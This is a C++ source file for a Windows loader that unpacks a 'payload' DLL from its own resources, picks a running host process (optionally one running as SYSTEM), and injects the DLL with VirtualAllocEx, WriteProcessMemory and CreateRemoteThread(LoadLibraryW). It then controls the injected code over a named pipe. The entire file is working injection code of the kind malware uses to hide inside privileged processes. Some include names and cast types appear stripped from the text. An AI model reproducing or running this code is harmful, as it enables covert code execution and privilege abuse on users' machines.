#include "Common.h" #include "StageClient.h" #include "HostSpawn.h" #include "Paths.h" #include "Logger.h" #include "resource.h" #include #include static std::string ToUtf8(const std::wstring& w) { if (w.empty()) return std::string(); int need = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), nullptr, 0, nullptr, nullptr); if (need <= 0) return std::string(); std::string out(need, '\0'); WideCharToMultiByte(CP_UTF8, 0, w.c_str(), (int)w.size(), out.data(), need, nullptr, nullptr); return out; } static std::wstring FromUtf8(const std::string& s) { if (s.empty()) return std::wstring(); int need = MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), nullptr, 0); if (need <= 0) return std::wstring(); std::wstring out(need, L'\0'); MultiByteToWideChar(CP_UTF8, 0, s.c_str(), (int)s.size(), out.data(), need); return out; } static const wchar_t* kPipeName = L"\\\\.\\pipe\\ArDrvStage"; static const wchar_t* kDllName = L"ardrvstage.dll"; bool StageSend(const std::wstring& request, std::wstring& response) { response.clear(); HANDLE pipe = CreateFileW( kPipeName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, nullptr); if (pipe == INVALID_HANDLE_VALUE) return false; std::string bytes = ToUtf8(request) + "\n"; DWORD written = 0; if (!WriteFile(pipe, bytes.data(), (DWORD)bytes.size(), &written, nullptr)) { CloseHandle(pipe); return false; } std::string reply; char buf[4096]{}; DWORD read = 0; while (ReadFile(pipe, buf, sizeof(buf), &read, nullptr) && read > 0) { reply.append(buf, read); if (reply.find("<<") != std::string::npos) break; } CloseHandle(pipe); size_t end = reply.find("<<"); if (end != std::string::npos) reply = reply.substr(0, end); response = FromUtf8(reply); while (!response.empty() && (response.back() == L'\n' || response.back() == L'\r')) response.pop_back(); return !response.empty(); } bool StageAlive() { std::wstring response; if (!StageSend(L"PING", response)) return false; return response.find(L"PONG") != std::wstring::npos; } // Writes the payload that is packed into this executable to the stage dir. // Writes the payload that is packed into this executable to the stage dir when // the on-disk copy differs (missing, old build, or truncated). Comparing the // bytes keeps upgrades working: a new loader always replaces an older DLL. static bool EmbeddStageCurrent(const std::wstring& target) { HRSRC res = FindResourceW(nullptr, MAKEINTRESOURCEW(IDR_STAGE_DLL), RT_RCDATA); if (!res) return false; DWORD size = SizeofResource(nullptr, res); if (size == 0) return false; HGLOBAL loaded = LoadResource(nullptr, res); if (!loaded) return false; const BYTE* data = static_cast(LockResource(loaded)); if (!data) return false; // Compare against what is already on disk. HANDLE existing = CreateFileW( target.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr); if (existing != INVALID_HANDLE_VALUE) { LARGE_INTEGER fileSize{}; bool same = false; if (GetFileSizeEx(existing, &fileSize) && fileSize.QuadPart == (LONGLONG)size) { std::vector onDisk(size); DWORD read = 0; same = ReadFile(existing, onDisk.data(), size, &read, nullptr) && read == size && memcmp(onDisk.data(), data, size) == 0; } CloseHandle(existing); if (same) return true; } HANDLE h = CreateFileW( target.c_str(), GENERIC_WRITE, 0, nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr); if (h == INVALID_HANDLE_VALUE) return false; DWORD written = 0; BOOL ok = WriteFile(h, data, size, &written, nullptr); CloseHandle(h); if (!ok || written != size) { DeleteFileW(target.c_str()); return false; } Log(L"[stage] payload refreshed from resources (%lu bytes) -> %s", size, target.c_str()); return true; } std::wstring StageDllPath(const std::wstring& explicitPath) { if (!explicitPath.empty()) { wchar_t abs[4096]{}; if (GetFullPathNameW(explicitPath.c_str(), _countof(abs), abs, nullptr)) return abs; return explicitPath; } std::wstring staged = ArdrvStageDir() + L"\\" + kDllName; // The packed payload is authoritative: if it differs from the file on disk, // the file is replaced. An old stage DLL otherwise survives every upgrade. if (EmbeddStageCurrent(staged)) return staged; if (GetFileAttributesW(staged.c_str()) != INVALID_FILE_ATTRIBUTES) return staged; wchar_t module[MAX_PATH]{}; DWORD len = GetModuleFileNameW(nullptr, module, _countof(module)); if (len > 0 && len < _countof(module)) { std::wstring dir = module; size_t slash = dir.find_last_of(L"\\/"); if (slash != std::wstring::npos) { dir = dir.substr(0, slash); std::wstring candidate = dir + L"\\" + kDllName; if (GetFileAttributesW(candidate.c_str()) != INVALID_FILE_ATTRIBUTES) return candidate; } } return std::wstring(); } // CreateRemoteThread(LoadLibraryW) inside the chosen host. static bool InjectDllIntoProcess(DWORD pid, const std::wstring& dllPath) { HANDLE proc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid); if (!proc) { Log(L"[-] stage: OpenProcess(%lu) failed: %lu", pid, GetLastError()); return false; } const SIZE_T bytes = (dllPath.size() + 1) * sizeof(wchar_t); LPVOID remote = VirtualAllocEx(proc, nullptr, bytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!remote) { CloseHandle(proc); return false; } if (!WriteProcessMemory(proc, remote, dllPath.c_str(), bytes, nullptr)) { VirtualFreeEx(proc, remote, 0, MEM_RELEASE); CloseHandle(proc); return false; } HMODULE kernel = GetModuleHandleW(L"kernel32.dll"); auto loadLibrary = reinterpret_cast( GetProcAddress(kernel, "LoadLibraryW")); if (!loadLibrary) { VirtualFreeEx(proc, remote, 0, MEM_RELEASE); CloseHandle(proc); return false; } HANDLE thread = CreateRemoteThread(proc, nullptr, 0, loadLibrary, remote, 0, nullptr); bool ok = false; if (thread) { WaitForSingleObject(thread, 10000); DWORD exitCode = 0; if (GetExitCodeThread(thread, &exitCode)) ok = exitCode != 0; CloseHandle(thread); } VirtualFreeEx(proc, remote, 0, MEM_RELEASE); CloseHandle(proc); return ok; } HostInjectResult StageInject( const std::wstring& dllPath, const std::wstring& preferredImage, bool requireSystem) { HostInjectResult result; std::wstring dll = StageDllPath(dllPath); if (dll.empty()) { result.error = L"ardrvstage.dll not found next to the loader or in the stage dir"; return result; } std::vector hosts = EnumerateHosts(requireSystem); HostInfo* chosen = nullptr; for (auto& h : hosts) { if (!h.injectable) continue; if (requireSystem && !h.systemToken) continue; if (!preferredImage.empty() && _wcsicmp(h.imageName.c_str(), preferredImage.c_str()) != 0) { continue; } chosen = &h; break; } if (!chosen) { result.error = hosts.empty() ? L"no host process found (need admin or SYSTEM)" : L"no injectable host available"; return result; } if (!InjectDllIntoProcess(chosen->pid, dll)) { result.error = L"LoadLibrary injection failed into " + chosen->imageName; return result; } result.ok = true; result.hostPid = chosen->pid; result.hostSession = chosen->sessionId; result.hostImage = chosen->imagePath; result.method = StageAlive() ? L"stage-live" : L"stage-injected-no-reply"; GetProcessCreateTime(chosen->pid, result.creationTime); HostTrack track; track.pid = result.hostPid; track.creationTime = result.creationTime; track.payload = dll; track.hostImage = result.hostImage; SaveHostTrack(track); Log(L"[stage] injected %s into %lu (%s)", dll.c_str(), result.hostPid, result.method.c_str()); return result; } HostInjectResult StageEnsure(bool requireSystem) { HostInjectResult result; if (StageAlive()) { result.ok = true; result.method = L"stage-already-live"; HostTrack track = LoadHostTrack(); if (track.Tracked()) { result.hostPid = track.pid; result.hostImage = track.hostImage; result.creationTime = track.creationTime; } return result; } return StageInject(L"", L"", requireSystem); } std::wstring FormatStageStatus() { std::wostringstream os; std::wstring dll = StageDllPath(); os << L"alive=" << (StageAlive() ? 1 : 0) << L" dll=" << (dll.empty() ? L"(missing)" : dll); HostTrack track = LoadHostTrack(); if (track.Tracked()) os << L" host_pid=" << track.pid << L" host=" << track.hostImage; return os.str(); }